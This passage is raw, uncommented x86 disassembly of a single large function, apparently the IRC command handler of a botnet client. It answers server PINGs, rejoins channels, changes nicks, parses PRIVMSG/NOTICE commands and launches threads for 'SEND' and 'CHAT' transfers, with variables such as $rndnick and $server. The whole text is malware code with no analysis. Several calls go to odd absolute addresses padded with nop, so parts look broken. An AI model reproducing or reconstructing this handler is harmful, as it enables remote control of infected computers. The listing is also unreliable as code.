-0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42D0F4 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42D0F0 ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42D0EC ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42D080 push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42D02C loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42D008 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42CFF4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42CFEC mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42CFB0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h call near ptr 2680000h nop jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42CFAC push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42CFA0 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CB4D8 mov eax, off_429160[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42CF84 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42CF7C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42CF64 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j nop call near ptr 268082Fh push eax push offset unk_42CF28 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42CEE4 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CEBC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h nop call near ptr 2680000h jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj nop call near ptr 268082Fh push eax push offset unk_42CE84 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42CE54 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42CE20 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42CFF4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_429498, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D7E0 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_429498 jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42D0F4 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D7F8[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D7E0[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42CDDC ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea 